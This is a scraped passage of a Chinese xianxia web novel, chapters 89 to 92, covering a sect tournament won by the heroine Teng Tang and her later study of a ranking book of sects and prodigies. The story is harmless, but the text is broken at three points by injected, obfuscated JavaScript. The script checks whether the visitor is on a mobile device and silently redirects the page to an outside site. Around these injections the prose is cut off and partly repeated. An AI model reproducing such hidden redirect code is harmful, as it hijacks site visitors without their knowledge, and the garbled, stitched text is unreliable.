韩建善颔首,在余下的六人中站了出来,把腰间那块写着“贰壹”的令牌抛给大长老,打抱不平地道:“我师父说得对,既然大长老默许滕傲天使用精神力,为何不许库笃使用精神力?他们两人都动用后,为何仅斥责库师弟?” 他质问完,继续道:“精神力肉眼难辨,没有人说得清是库笃错在先,还是台上的滕傲天先使用精神力。即使掌门站出来判定,我也不信,他是滕傲天师父,当然会向大长老一样偏颇。” 在他准备继续讲理时,滕棠实在等不及了。 眼看天上沙子所剩无几,她冁然一笑:“那这位师弟想怎么办?大家皆无确切证据,为何不等库笃醒来,听听看他怎么说?反正我说什么,你们也不信。” “韩建善,你为何将令牌抛给我?”大长老勉强插进去话,心中大致猜到韩建善要做什么。 韩建善手持灵剑飞上擂台,对滕傲天道:“矢口狡赖!明明是你先使用精神力,偷袭库笃成功,夺走了三十二的数字,是你先破坏了规矩!” 他拔出灵剑,意气风发地道:“既然这样,那我也用精神力,如何?这样才公平。” 滕棠懒得跟他掰扯,点头答应:“好啊,无论是灵力实力,还是灵魂之力,你们都不是我的对手。” 她已经连胜九百九十八场,还差两场。正好,打败韩建善后,再挑战李偲缨,能够在任务倒计时结束前,同时完成两个任务。 “哼,大言不惭。” 韩建善在场排名第四,内门中排名第二十一,实力超然,已经达到出窍七层。 他对自己很有信心,不仅是因为自身实力不错,还因他有件奇宝——杀鬼刺。 这件宝物是罕见的魂器,替他挡了无数灾祸,帮他杀了无数敌人。 如果内门比试允许使用精神力或与之相关的魂器,他相信,在场的弟子没有一人能打败他,包括李偲缨师姐。 “那师弟,我不客气了。” 滕棠见他已上擂台,做足了战斗的准备,于是没有犹豫地冲了上去。 擂台下方的大长老叹气一声,转头骂祁长兰:“叫你改改,你怎么还是这个脾气。” 祁长兰心系自己的徒弟库笃,没空跟他争吵,将自己的灵力调出体外,帮库笃蕴养神魂:“是非过错,不能由你来定。” 韩建善穿着朴素,用的灵剑也很普通。他见滕傲天冲过来,脸上挂起冷笑,暗道这人今天嚣张半日,是时候尝尝失败的滋味了。 他识海中的白针旋转,在滕傲天离他仅十米的时候,蓦地穿出眉心,钻向滕傲天的额头。 滕棠早料到他有强力底牌,否则他不会流露出那般自信。在目睹库笃施展精神力却败下阵来后,他依然毫不犹豫地登台挑战,若非有十足把握、有不为人知的后手,何必上来自取其辱。 滕棠并不惧怕,依然冲了过去。她用灵力和韩建善切磋的话,需要耗费四五分钟,而主线任务的倒计时已接近尾声,只剩二十多分钟。要是再来个什么意外,耽搁一阵,她这个剧情任务就泡汤了。 但若是用精神力和韩建善切磋,就无需去计算时长,因为精神力迅如闪电,战斗胜负往往在毫秒间决定……就像她先前与库笃的那一场,切磋才开始,便已经分出胜负。 因此,韩建善提出用精神力战斗,对她而言,其实是件好事。 白针细如牛毛,无声无息地出现在滕棠面前,来得没有预兆。 如果是其他内门弟子站在这里,面对杀鬼刺,定然撑不过一息时间。 “破!”韩建善抑制不住自己的喜色,仿佛已经战胜了滕傲天,已经看见那根细小的针击穿滕傲天的法宝,入滕傲天识海中,让对方动弹不得。 但半息不到,他就察觉到一种凝滞感。 自己的杀鬼刺如同扎进水中,落进无形的力量里,与他断了联系。 更诡异的是,金丹境的滕傲天身形一动,朝左偏移,竟然躲开了杀鬼刺的方向,提刀朝自己攻来。 “我的杀……”他发觉自己的精神力丝线寸寸断裂,一直灭到自己的额前,与之到来的是一阵恐怖的灵魂威压,让他识海震荡、灵台颤栗。 这是分神后期的灵魂威压!滕傲天才金丹期,她怎么会有分神后期的精神力! 他瞳孔收缩,忽然发现识海中飞出去的杀鬼刺,正被另一股强大的精神力操控着,朝自己的眉心袭来。 “以其人之道,还治其人之身。”滕棠喃喃说了一句,异常不喜这种阴险毒辣之人。 本是同门弟子,又无天大的仇恨,何必用出这种手段。 要是她没有分神后期的精神力,早就被杀鬼刺穿透灵台,下场不是死亡便是重伤,神魂比当初的李偲缨还难蕴养回来。 白色的细针回到韩建善的识海,引起一片震荡,两息之后,他被大刀击飞,输得不明不白。 要不是祁长兰发现事情不对,出手替他稳定识海与灵台,他的灵魂定会受到杀鬼刺的反噬,好几年都休养不好。 不甘心地喊了一句“师父”,韩建善还是没能撑住,昏迷了过去。 他身上的冰与火被祁长兰除掉,状态看着比其余弟子差很多,吃好几颗丹药都不见醒来。 “嘶……”山上的一众弟子长嘶气,看得一阵失神。韩师兄怎么会败?他不是有杀鬼刺吗? 滕傲天怎么这么强……韩师兄动用了精神力与杀鬼刺都不能赢,在场还有哪位弟子能打败她? “滕傲天,你竟想杀了我徒儿!”祁长兰怒喝一句,就要动手。 大长老及时拦住她,给台上的几个长老使眼色。 三长老、四长老等人立马飞下台,站在大长老身后你一言我一语,试图让她冷静。 三长老习惯了当和事佬,冲祁长兰道:“二长老,莫要急切,护短也要分场合。” 四长老立马接他的话:“我们都是明眼人,杀鬼刺是韩建善的宝贝,他既然敢用,就要做好被反噬的准备。” 五长老不发话,他和祁长兰相熟,自是站在祁长兰这边。且他对滕傲天心存不忿,此女屡屡挑衅天道、惹祸招愆,怎能将其留于狂刀门? 六长老和七长老也是这么想的,与其替滕傲天说好话,不如偏心地帮一帮祁长兰。掌门不畏惧天道,他们畏惧,滕傲天的狂妄之言,但凡被天道听到一句,后果将不堪设想…… 八长老见他们都保持沉默,本欲静立不动,却见大长老不停朝自己使眼色。 无奈之下,他只能醉醺醺地道:“四长老说得对,韩建善出手狠厉,滕傲天当然得竭力反击,我觉着……双方都没有过错。” 祁长兰愤恨地望了一眼滕傲天,想到自己的身份地位,对刚入门的弟子出手,有损自己的颜面,于是就此作罢。 “今日之事我可以不计较,但滕傲天断不可留!” 她让几名弟子抬起库笃和韩建善,不顾掌门和大长老的意见,从心所欲地带着人离开山谷,留下一句:“内门比试、百门大比,他们几个不再参与,无涯宗的名额,我会为他们争取。” 大长老望着他们离去的身影,叹气一声:“你这是何苦呢?” 无涯宗的名额何其珍贵,不靠门派靠自己争取,怕是拼尽全力都不能拿到一个。 天才已不像十年前那样有迹可循,近十年,民间、散修城里不断有奇才崭露头角,祁长兰让自己的徒弟去和这些人竞争,真的能拿到名额么…… 天空上的飞舟还在,胡坤等人打坐了一上午,仍未听到九长老叫他们走出灵罩,去围观滕傲天的战败。 眼下沙子即将落尽,他们不免感到焦急,一个接一个地问九长老。 “滕傲天还在打?” “掌门和几个长老允许她如此耍赖么?” 这时,天上快速飞过几个人,为首的是二长老,瞧也不瞧他们这边,气冲冲地带着几名徒弟离开,其中有两个弟子状态很差,完全是被人抬着飞走的。 胡坤和身边的人都是新入门的弟子,这一月以来被九长老严厉看管着,没见过几个师兄师姐,便下意识认为那二人实力不强,因和滕傲天切磋太久,受了严重的伤。 “这滕傲天太无赖了!把二长老都气走了。” “她磨磨蹭蹭打了这么久,将两名排在末尾的弟子伤成这样,不怕引起众怒么?往后她在狂刀门怎么修行?” 九长老难得转身,瞪他们一眼:“闭嘴,都给我安静!” 他只字不提下面究竟发生了什么事,就怕这些人知晓后,更加没有年轻人的壮心与朝气。 擂台上的滕棠显得有些拘谨,对于自己成为矛盾中心这件事,她表示很无奈。 她也不想触发隐藏剧情,还没有强大的实力就开始三番五次地挑衅天道,但剧情需要,系统已经控制她说完那些话,毫无回旋的余地。 她该庆幸,天道没对自己出手,让这片山谷化为废墟,导致自己成为狂刀门的罪人。 “大长老,我想直接挑战李偲缨。”滕棠看了一眼天空中的沙漏,面朝大长老,拱手说道。 千场连胜已经完成九 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李偲缨并不在意众人惊诧的眼光,宛如一片轻飘飘的雪花,从山顶翩翩落到擂台上。 她朝滕棠拱手,双颊红润地道:“师、滕师姐真是厉害,我自愧不如,还请滕师姐不吝啬本事,赐教于我。” 滕棠不知道她在高兴个什么劲,点点头:“好,那我们开始切磋吧!” 她点完pk的按钮,提起大刀,犹豫一秒,没有立即出手。 用哪个技能大招合适?可以不伤害李偲缨的同时,让这场戏看起来真实一些。 当她想放水的时候,李偲缨已经放海。 众目睽睽之下,李师姐一改往常冰冷的形象,娇弱地在滕傲天面前一倒,“哎哟”两声,心悦诚服地说:“滕师姐果然强悍!仅一阵刀风,就把我打败了!偲缨佩服得五体投地!” “这这……”大长老在擂台边缘惊得说不出话来。 滕棠握紧刀柄,听见叮叮响的提示音,打开个人界面一看,两个大任务倒是完成了,但切磋给的经验值减少了一半。 她扫一眼沉默的四面秃山,暗想这场假赛已然露出马脚,无法再打下去,于是收起刀并让李偲缨起来。 “你这演技也太差了。”她小声吐槽道,不免想起徐扉罗。 当初在明月八角塔中,她和徐扉罗在龙傲天面前演戏,徐扉罗就表现得很好,没有拖后腿。 李偲缨一听,更加不愿起身,抱着她的腿找补,大叫道:“滕师姐未用一丝精神力就能打败我,真是厉害!你的刀法、你的灵力威压……” 滕棠扶头,不愿继续看她稀烂的表演,压低声音道:“够了李偲缨,你赶紧起来,不然我就带你去做门派任务。” 躺在擂台上碰瓷的女子,瞬间就止了声,麻利地站起来等大长老宣判。 大长老未曾想过,她们经过一个月的相处,关系好成这样。李偲缨还没打,就将大师姐的头衔拱手让了出去,这放以往,是根本不可能发生的事。 李偲缨清冷孤傲,不喜和人亲近,让她在九位长老中选一位拜师,她一个都瞧不上。没想到恃才矜己的她,竟然会对滕傲天心服首肯。 “滕傲天胜!此后狂刀门的大师姐不再是李偲缨,而是滕傲天。” 大长老说完,整个山谷一片沸腾。 周围什么声音都有,有赞叹佩服的,有忧心忡忡的,有畏惧惊怕的…… 滕棠耳朵嘈杂,扯着嗓子,试图纠正自己的名字:“各位师弟师妹,我其实叫滕棠,滕傲天不是我的真名,那只是我开玩笑乱说的名字,你们不要叫我滕傲天,我真名叫滕棠!” 怎奈众人忙着讨论她成为大师姐这件事,大长老上去收沙漏了,周围除李偲缨,竟无一人在意她的发言。 滕棠蹙眉,无奈地嗟叹:“醒来后,我怎么就变成滕傲天了……” 90. 第 90 章 大长老更改完玉石令牌上的数字,分别递给滕傲天和李偲缨。 他站于空中,将沙漏复原,用法术压下山谷中的嘈杂:“肃静!” 等四面秃山渐渐安静下来,他缓慢发话道:“此次比试延长至后日未时,依旧是那个规定,前二十之人,年龄符合者,可获百门大比的资格……” 九长老见滕傲天已打服众人、成为狂刀门的大师姐,觉得留在此处没有什么意义,于是转身对胡坤道:“你操纵舵盘,回狂初山。” “这是为何?”胡坤不解地问。 “我们不是要……”他说到中途,发现九长老面色不佳,声音即刻变得小心翼翼:“是,弟子这就掌舵。” 他会察言观色,不代表其余新弟子有这个本事。舟上很快响起一阵窃窃私语,有人的声音偏大,似故意说出来般,每个字都清清楚楚。 “滕傲天仗着自己是五灵根,仗着有那把上品灵刀,没人性地欺负排名靠后的弟子,掌门和长老们怎能容忍她在擂台上飞扬跋扈?” 九长老一眼捕捉到那人,怒瞪着他道:“你就看到辰时那会儿的切磋,看到她从一千零六打到九百多,后面的你看到了吗?与其在这里瞎猜瞎说,不如回去专心修炼心法。” 他见这些新弟子不服,一脸正气凛然,仿佛遭遇到什么大不公之事,于是忍不住道出真相:“今日滕傲天以一挑千,无一败绩,不到未时便夺得第一的令牌,已是门派真正的大师姐!” 什么?! 他们没听错吧?滕傲天连战千场无一败绩?还打败了李偲缨大师姐? 新弟子们皆抽了口气,露出惊愕的神色。胡坤掌舵的手抖了两下,差点让飞舟偏离方向。 九长老对他们很是失望:“一代不如一代,想当年无涯宗宗主在世,众修者皆以其为榜样,勉励自身向学。尔等见了滕傲天,合该心生斗志,学其不服输的性格,让鄙夷你之人刮目相看。” 他的话语如同一阵风,在新弟子们耳边不断吹过,没被一人听进去。 大家都在想,这么短的时间内连赢千场,根本没有弟子可以做到,滕傲天如此作弊,为何没有长老揭发她? 擂台上的比试还在继续,但自滕傲天结束挑战后,众人观看山谷中央的打斗,只觉索然无趣。 滕棠原本想观摩学习一下别人的身法、道域,但看了会儿,发现下面挑战的、被挑战的弟子竟都不如她。 他们切磋一场通常要一炷香的时间,你躲我追,她从中根本学不到什么东西。 “师父,我们回去行吗?这儿实在太无聊了。”李偲缨打了个长长的哈欠,对打斗切磋之事完全提不起兴趣。 滕棠也有此意,于是和李偲缨一同起身。 准备离去时,她望了一眼四座光秃秃的山,问李偲缨:“刘仁和刘慈呢?我怎么没见到他们。” 李偲缨在狂刀门没什么朋友,最熟悉之人便是刘仁刘慈,其次是二长老祁长兰。 “他们在无涯宗修习,许是在宝窟内有奇遇,已经快四年没回门派了。上次未参加内门比试,这次还是未参加,他们要是下次还不回来,就会被除数。” 李偲缨思索一会儿,话又密了起来:“我怀疑他们不会回来了,就像以往那些实力变强的弟子,去了无涯宗后,毫无乐趣可言,整日苦修,等着有朝一日飞升。我同大长老说这话,大长老偏不信,老惦记着那两兄妹,觉得他们还会回来,之前……” 她啰里啰嗦说了一大堆,无不在感慨狂刀门太小,留不住卓越之才,像刘仁、刘慈这样有天赋的弟子,去了无涯宗,好似凤凰遇见高枝,再也不会飞回来。 滕棠亦知人往高处走的道理,静静聆听,没有打断。 修真界如今仅剩三条天梯,一条在冥无魔宫,一条在人鱼岛,还有一条在无涯宗。灵修们想要飞升,除了去无涯宗别无选择,为了获得在无涯宗修习的名额,几乎挤破了头。 她心中仍觉奇怪,飞升为何要登天梯?元婴期便可踏行虚空,渡劫之后却要靠双足走上天界,这还叫“飞升”么,不如叫“登升”…… 且这些天梯非仙人所筑,而是“先人”所造,耗费数万年的努力,才艰难建造出来。那些登上去的人,真的成仙了么? 滕棠回顾自己的所见所闻,竟从未听过仙人归来之事,无法得知他们的现状、天界的面貌与景象。有记载的仙人下凡、先祖显灵,都写在荒谬不经、模棱两可的传说里,根本没有切实的凭据。 两人慢悠悠地飞向修行院,途中李偲缨说个不停,讲了许多鸡毛蒜皮的小事,说得滕棠渐渐走神。 对于狂刀门谁谁谁打架了,某某喜欢某某,她一点儿不感兴趣。 真不明白,李偲缨表面上冰冰冷冷的,私底下怎么这么八卦。 丹田中的付岚山很不安分,自被三个长老探查过后,就一直在抱怨。 比如这会儿,见她已经离开那片山谷,便嘀嘀咕咕地向她传音:“嘶嘶嘶……” “滕棠,你什么时候给我找新壳子啊,待在你丹田内,又闷又无聊,还时不时被外人摸底,我真的一点都不想待了。” 滕棠有时候是真烦他。她比付岚山更想找到新壳子,这样就不用天天听到地蛟蛇的牢骚,听到一些给心脏添堵的话。 打开游戏界面,确认[雄霸天下]活动的结束时间,滕棠舒心不少,给付岚山传音道:“快了,三天后。” 付岚山一喜,嘶嘶追问个不停:“是你说的那头会发光、比九色猫更厉害的九色鹿么?” 由于太过激动,声音外泄,让李偲缨听到丁点。 李偲缨正讲着别人的爱情故事,忽然停下来,四周张望,疑惑地问:“什么声音?师父你有没有听到蛇鸣?” 滕棠落到修行院的门前,并不答她的话,催促道:“徒弟快进来,我有些事情想问你,我们在院中聊一聊。” 李偲缨迷惑地“哦”了一声,立马跟紧她的脚步进入院落里,将蛇鸣抛之脑后。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032749|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 坐在那张黑漆长桌旁,滕棠脑中的恐怖灵堂画面挥之不去。桌子中央的果盘还在,供死人享用的灵果放置一个月,未有任何腐败的迹象,依然色泽艳丽、果肉莹白。 闻着甘甜清香的气味,滕棠吞了吞口水,有些想吃,但始终觉得这果子晦气,最后还是忍住没吃。 倒是李偲缨,一点不忌讳,完全忘了这是供给已逝之师的,坐下后随手捡起一个,咔嚓咔哧地啃起来,满手都是水。 “师父要问我什么?” 明明四周无人,她大可放声说话,此刻却压低嗓音,表情神秘兮兮的,眉眼间俱是兴趣盎然之色:“民间传闻、百门秘事我不知,但我知晓不少缠绵悱恻的爱情故事,知晓谁和谁是宿敌。师父爱看热闹,若想问我……” 滕棠连忙打断她,免得话题偏移:“不不不。”而后直奔关键:“马上要进行百门大比,我想问与之相关的事,比如哪几个门派最强?” 李偲缨在天央大陆待了十年,虽不爱出门,但喜好八卦,时常买几本散修撰写的奇闻轶事,翻阅近来大大小小的传闻。她为人懒散,即使进了无涯宗,也不似他人那般努力修行或在宝窟寻宝,经常躲在角落,一边听人闲谈一边闭目养神。 对于师父的问题,她很快答上,一点不像个外来修者,仿佛在天央大陆待了上百年:“万年前,当然要数无涯宗最强,那时的天央大陆没几个门派……” 她正想事无巨细地讲天央大陆的历史,却被师父摆手阻止:“停,就讲这几年,哪些门派最强。” 李偲缨对她师父很是尊敬,硬生生压制住自己爆棚的表达欲,没头没尾地说:“这几年世事无常,原先浮世门第一,现在落到第二,居于万丹山之后。” “浮世门发生了什么事吗?”滕棠实在跟不上她的脑回路。 李偲缨忽然从储物戒中拿出一本册子,递给她:“因为龙傲天,我跟师父说过,师父你忘了?龙傲天连累了浮世门,不然浮世门依然强大……这是无涯宗列的榜册,上面不仅有门派排名,还有年龄一千以下的天才弟子排名,以及武器排名……” 滕棠接过,庆幸李偲缨有这样的榜册,否则不知要和李偲缨聊多久,才能得到自己想要的信息。 翻开不厚不薄的书册,扉页之上,题了数行墨色文字,言道:无涯宗某某长老、某某代行长老……为编纂此类榜单,煞费苦心、耗时良久,辛劳之至,望诸位修者翻阅之时,能牢记他们的功名,莫忘其背后付出的汗水。 在滕棠扫视的时候,李偲缨突然很有眼力见儿,于对面补充解释:“大多数长老来自前五大门派。如今的无涯宗其实是个众人想独占的宝地,没有真正的主人,被五大门派分割着,迟早有一天会出大问题。” 滕棠微微颔首,折过扉页,只见第一页上写着“百门排行”四个大字,遒劲有力。再翻至第二页,顶上印着三个龙腾虎跃的墨字——万丹山,其下,用蝇头小楷详细讲述其为何位居榜首,在哪方面超群绝伦。 91. 第 91 章 一一看过那些文字,没有什么非凡之处,且翻两页就结束了,滕棠读完,只知万丹山丹修众多、财力雄厚,其余的仍旧一概不知。 她不免露出失望,在李偲缨讲话时,继续往后看。 “师父,撰写此介绍之人是万丹山自家的长老,自然不会将所有信息坦诚相告,您不知晓万丹山那群人心肠有多坏……” 万丹山之后,是浮世门、九炼宗、绝音谷、御兽门……翻到中间位置,才翻到狂刀门。 “您别太信这些排名,无论是门派的,还是千岁以下弟子的,都不一定真实。有人说,无涯宗的长老通过某种神秘法宝窥探天机,才作出这榜册;有人说,排名是由诸位长老投票决定的……究竟真相如何,没有人能说得清。” 滕棠的目光离开书册,放到她身上,露出赞赏的笑容,希望李偲缨能一直这么有眼见力,说话不要扯其他的,就说重点。 奈何李偲缨经不住表扬,见她展颜欢笑,立马得意忘形,猛然起身,踱步到她旁边,俯首在她耳侧低语。 “十年前,狂刀门在中下游徘徊,排在七十多位。我来了之后,门派的机缘与运势翻转。狂刀门借着我的名气,吸纳了不少天赋尚可的弟子,如今声势日隆,升至第五十一位,我李偲缨功不可没!” 滕棠收回笑容,偏转身体,躲开她的说话方向,将册子翻到龙虎榜那一页。 “龙虎榜”三字旁边有串小字,标注着:千寿以下修者前一百之排名。 自己没在天央大陆活跃过,应该不在榜上,李偲缨已有一千两百四十四岁,应该也不在榜上。 李偲缨见师父不想听,一张脸垮了下来,自讨没趣地坐回石头上,抻着脖子看她师父翻到哪儿了,寻找说话的机会。 “对了师父,榜册是去年出的,您是不是想找龙傲天?他原在龙虎榜第二,现在已经被除名了。” 滕棠将身体正回来,让她能看见自己翻到了第几页,上面写的是什么内容。 李偲缨瞄一眼,又道:“冯榆森是万丹山的首徒,常年排在第一。之前大家都说,不等他寿满千岁,便会被龙傲天压下去,在此次百门大比上输给龙傲天。” “谁能料到,龙傲天仅出名了几年,便被废除修为与灵根,逃去恐怖的魔妖荒地,不知是生是死。” 滕棠一边听着她的讲述,一边慢悠悠地翻榜册,对百门大比的了解越来越多。 第二、第三的天才弟子依旧来自万丹山,灵力修为瞧着和第四的修者相仿,其精神力却比后者高半个境界。 果然,丹修或者器修,总是在精神力天赋方面一骑绝尘,而百门大比又允许使用精神力,他们的优势不言而喻,远可用灵力灵器攻击,近可……没有弟子愿意近他们的身,一旦靠近就输了…… 滕棠翻了两页,没有继续往后翻,而是倒回来,仔细看第二天才的信息。 短短十年,对许多修者来说,如同过眼云烟,无论如何勤奋,修为上都很难有长进。但对天才来说,十年足够长,完全能突破层级、瓶颈,甚至迈入新的境界。 滕棠在蓝色珊瑚岛上被杜樰楺追杀时,对方才出窍初期,如今再看册上的墨色文字,杜樰楺不管是灵力还是精神力都达到分神境界,稳居第二的宝座,将其他人甩在身后。 李偲缨抻着脖子瞧,发现师父停在杜樰楺那两页,一直没有动作,于是噘着嘴道:“那杜樰楺我不喜欢,有次在无涯宗碰见了,她杀气腾腾地看着我,莫名其妙的,还想对我动手,幸好我跑得快,之后都躲着她走。” 滕棠抬头,正想告诉她原因,没想到李偲缨早就猜出来了:“师父,在珊瑚秘境的时候,您告诉我要躲着万丹山,是不是那时和他们结了仇?我一直记得您的话,从不接触万丹山的人。” 滕棠欣慰地颔首,心中庆幸李偲缨没和杜樰楺正面起冲突,否则以杜樰楺的实力地位,想加害李偲缨并不是很难。 她低下头,继续翻阅榜册。第四是浮世门的弟子,第五是九炼宗的弟子……第十一页竟看到个熟人——徐扉罗。 徐扉罗名下写着:此女来自明月大陆,乃自在派掌门官汶芦的外甥女,十年前甫一进门,便被官汶芦慧眼识珠,察出其身怀至和仙体,当即纳入核心弟子之列。 入自在派六载,此女修为猛增,自筑基二层一跃至出窍五层,进展之神速,令人咋舌。两年前,自在派数位长老复又细查,惊然发现,此女觉醒了世间罕见的至和神体,自此之后…… 咦?徐扉罗怎么从仙体变成神体了!实力竟涨得如此之快! 滕棠哑然,心中感慨自己还是低看了徐扉罗,对方绝不可能像她一样是炮灰女配。 徐扉罗拥有神体,如果故事线没有打乱、发生变化的话,必然已成为龙傲天后宫中的一位,往后会随着龙傲天飞升天界…… 自己的到来,影响了所有事情的发展,不知道对徐扉罗来说,是好还是不好。 滕棠暗自摇头,心想这不该是她操心的事。 天才在哪里都是香饽饽,拥有神体的修者想要飞升,肯定比自己容易千万倍。 她被天道劈了三天三夜,靠着几次生死危机,才攒到大量财富,靠氪金变强。 然而,她氪了这么多的灵石,沉睡十年,归来仍比不过这些天才…… 李偲缨的嘴巴从刚才到现在就没停下来过,见师父看得双眉蹙起,以为师父仙人见多了,嫌榜上的弟子实力太差,忍不住自夸自卖。 “这徐扉罗也是神体,她和杜樰楺是榜册上最有天赋的两个人。但她们都不如我!至寒神体才是最厉害的,远在至和神体、至灵神体之上!师父独具慧眼、火眼金睛,收到了这世间最有天赋的徒弟!” 滕棠瞥一眼对面的人,暗想李偲缨这话,最爱听的人应该是司徒福禄。要是李偲缨在司徒福禄面前说,兴许会被扔一两本《狂刀仙法》,在自己之前成为狂刀门的首徒。 话毕,李偲缨面露不甘,遗憾地继续道:“如果我的灵魂没受过重创,这千年岁月没有浪费掉,我早就闻名整个修真界了!二十来岁便能排上这龙虎榜!” 滕棠安慰她两句,继续翻动龙虎榜,发现后面的弟子几乎都来自前五大门派,小门派的弟子少有上榜,即使上榜,其年龄都接近于一千岁。 回到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032750|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 龙虎榜开头,滕棠盯着前面几个人瞧,觉得信息给得也太少了。 比如杜樰楺,当初她在珊瑚秘境看过对方的个人信息。杜樰楺有很多底牌、能力,龙虎榜都未提及。 “徒弟,你可曾亲身参与那百门大比?或在旁侧观战过?” 滕棠想多打探点情报,以便自己参加时,能为狂刀门多夺几个入无涯宗修习的名额。 如此一来,不仅自身能积攒丰厚的门派贡献值,在门派商城中兑换珍惜之物,更能让狂刀门声名鹊起、威望日隆,吸引更加优秀的弟子。 “不曾。”李偲缨摇摇头:“百门大比,每十年举行一次,上一次刚好在我拜进狂刀门之前结束。” “那你知晓百门大比的规则么?” “不太清楚,我进无涯宗的名额是掌门直接给的,并非我自己……” 滕棠连问几个问题,李偲缨都答不上来,或者回答得模棱两可。 她只好作罢,将榜册翻到尾页,看向两幅关于无涯宗的工笔细描。 李偲缨挪动石头,坐到师父身边来。时不时会去无涯宗闲逛的她,对无涯宗的一切非常了解。 “师父问我其他的,我可能答不上来。但这无涯宗我异常了解,它是天央大陆的至高学府,因藏有无数心法、术法类古籍,所以聚集了百门高徒,里面可谓大能云集。” 滕棠听此,将榜册摊开,平放于桌面上。 李偲缨指向画中的一座绝壁高崖,兴致勃勃地讲道:“这是无涯巅,绝壁上有无数石台,皆为阵法大师、炼器大师所凿。石台错落有致,宛如巨树之冠,延伸至云霄深处,而真正的天梯就在崖之巅,渡劫修者若要飞升,须登至无涯巅之顶,踏天梯前往仙界。” “这些石台是做什么用的?”滕棠点了点那些密密麻麻、犹如树枝的青台。 “石台镶有道石,布有繁复阵法,修者在上面打坐修行,不仅能增强道域领悟,还能吸收最优越的日月精华,不过异常枯燥……我可坐不住,那些一坐便是百年、千年之人,真是厉害。” 李偲缨不等滕棠挪动手指,自己主动点向画纸的某处:“无涯巅之下,这儿,刘仁刘慈他们可能就在这里面。” “这里有个宝窟,里面存有数不清的天材地宝、灵器仙物,但都被上古阵法和凶兽守护着,唯有缘之人可取,无缘之人不能强行抢夺。” 说到这里,李偲缨有些雀跃:“师父,你知道这里面有多大?宝物有多厉害么?” 滕棠摇头表示不知,等待她的下文。 李偲缨眼睛亮晶晶的,手指差点把画戳出个洞:“相传,无涯宝窟没有尽头,广袤无边,几万年来,无人能走遍这个宝窟。” “它里面藏着的不仅是灵器、仙器,还有罕见的神器。曾经浮世门有个迟暮老者,大限已至、苦修无望,欲闯无涯宝窟寻机缘,没想到真的找到一件神器,帮他突破桎梏,从大乘期突破至渡劫期,而后顺利飞升成为仙人。” 滕棠有些惊讶,再看李偲缨手指下的黑色圆圈,眼神灼热无比,双目的精光比李偲缨还亮。 “什么样的神器这么厉害?”她问。 92. 第 92 章 李偲缨停顿,讪讪道:“这个我也不知道,师父可以问我简单点的问题。那件神器属于浮世门的秘辛,除了浮世门的老祖、掌门与核心长老,无人知晓它叫什么、长什么样、有什么非凡之处。” 滕棠只好按捺下好奇心,问她:“你去过无涯宝窟吧,可有收获?” 既然李偲缨是小说里的重要角色,那她的气运必然很好,说不定仅在龙傲天之下,在宝窟中有奇遇。 令滕棠始料不及的是,李偲缨在无涯宝窟内一无所获。 对面的人聊起此事来,怨气冲天,嘴巴跟机关炮似的,抱怨个不停,双手差点把桌子拍碎。 “……后来我把那株没多大用处的灵草扔了,再也不愿去那无涯宝窟,与其浪费时间在里面搜寻宝物,不如在无涯巅石台上打坐……” 滕棠对她这段话很是赞同。无涯宝窟广袤无际,许多修者在里面寻宝,把一生都蹉跎了进去,到头来却是一场空,有这时间精力,不如用来勤奋修行,指不定哪一天就飞升了。 大致了解完百门大比的情况,滕棠合上榜册,心中稍有定数。 她一边听着李偲缨啰里啰嗦的话,一边发起呆,在脑子里打开游戏界面。 主线任务的奖励她还没领,新发布的任务她也没去看。 啪嗒——嗒嗒—— 修行院上方飞过一只鸟,口衔一枚玉简,飞往最高处的殿宇。 李偲缨说话的声音逐渐变小,最后停了下来。她在滕棠旁边仰起头,盯着那只变成黑点的鸟瞧,总觉得那只灵鸟眼熟。 滕棠领完所有奖励,将基础数值翻倍卡继续用在[生命]上,把血条翻倍到出窍期修者才能伤到她的程度,心里又多了几分安全感。 打开左侧的剧情任务栏,她发现[初出茅庐]已经全部完成,剧情开启了新的篇章——[十二仙器]。 [十二仙器·一:万年前,此修真界发生了一场灵魔大战……有十二位强者用各自的仙器,将冥无之主镇压,如今万年过去,冥无之主大概已经消亡了……] 前置剧情很长,大致在讲万年前灵魔大战的事。 滕棠跳过这些文字,来到最后:[不知不觉中,你已获得两大仙器。在李偲缨不经意间的言语里,你得知了第三件与第四件所在。▽] 嗯?我有两大仙器?在哪里,我怎么没看到?不会是明月八角塔和珊瑚王冠吧…… 滕棠默默吐槽完,发现末尾没有倒计时。 她正在思考的时候,感觉身体一阵摇晃,不得不退出游戏界面。 目光聚焦,面前出现李偲缨的大脸,离她极其近,差两分就要亲上…… 滕棠挪动石头,拉开两人的距离,问:“你离我这么近做什么?” 李偲缨古怪地盯着她瞧,手里举着一块传音石:“师父,你刚才的神态怎么那么呆啊!像痴傻了般,莫不是仙魂出窍,飞去哪儿看热闹去了?” 滕棠眨眨眼,恍惚想到某位伙伴老说她有癫症,迟疑地问:“我刚才的表情很痴傻么?” 李偲缨点点头:“嗯,今日在擂台上也如此呆过。” 